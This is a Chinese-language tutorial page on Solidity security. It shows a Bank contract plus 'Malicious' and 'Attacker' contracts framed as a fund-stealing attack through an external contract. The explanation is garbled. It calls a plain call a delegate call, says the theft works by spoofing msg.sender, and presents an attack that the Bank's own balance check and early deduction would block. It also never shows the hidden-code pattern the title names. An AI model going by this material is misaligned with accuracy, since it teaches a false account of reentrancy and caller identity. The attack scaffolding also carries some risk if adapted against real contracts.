Skip to content

Latest commit

 

History

History
69 lines (50 loc) · 2.74 KB

使用外部合约隐藏实际代码.md

File metadata and controls

69 lines (50 loc) · 2.74 KB

使用外部合约隐藏恶意代码

在Solidity中,可以使用外部合约来扩展智能合约的功能和功能。然而,由于外部合约可能包含恶意代码,因此必须谨慎处理它们,以避免安全漏洞和攻击。

在本示例中,我们将展示如何使用一个名为 Malicious 的恶意合约来欺骗用户,并向名为 Bank 的另一个合约发送交易,窃取资金。

pragma solidity ^0.5.16;

contract Bank {
    mapping(address => uint256) private balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 _amount) public {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] -= _amount;
        (bool success, ) = msg.sender.call.value(_amount)("");
        require(success);
    }
}

contract Malicious {
    Bank bank;

    constructor(Bank _bank) public {
        bank = Bank(_bank);
    }

    function attack() external {
        bank.withdraw(1 ether);
    }

    function () external payable {
        if (address(bank).balance > 0) {
            bank.withdraw(1 ether);
        }
    }
}

contract Attacker {
    Malicious malicious;

    constructor(Malicious _malicious) public {
        malicious = Malicious(_malicious);
    }

    function attack() external {
        (bool success, ) = address(malicious).call(abi.encodeWithSignature("attack()"));
        require(success);
    }

    function () external payable {
        revert("Fallback function called");
    }
}

在此示例中,我们定义了三个合约: BankMaliciousAttacker

Bank 合约是一个基本的银行合约,允许用户存款、提款和查询余额。合约使用映射来跟踪每个地址的余额,并在执行提款操作时使用委托调用来发送资金。

Malicious 合约是一个恶意合约,它接受一个名为 Bank 的合约作为参数,并尝试欺骗用户以其身份向 Bank 合约发送交易。在 attack 函数中,我们尝试向 Bank 合约发送1ETH的交易。由于传递给 withdraw 函数的 msg.sender 变量将被设置为 Malicious 合约的地址,而不是用户的真实地址,因此黑客可以成功地从 Bank 合约中窃取资金。

Attacker 合约是一个攻击者合约,它接受一个名为 Malicious 的恶意合约作为参数,并尝试调用其 attack 函数。由于调用者将被设置为 Attacker 合约的地址,而不是用户的真实地址,因此黑客可以成功地欺骗 Malicious 合约并窃取资金。

为了避免这种攻击,我们需要谨慎处理外部合约,并确保信任其代码。如果您正在与其他智能合约交互,请确保理解其工作原理并进行适当的身份验证和授权检查。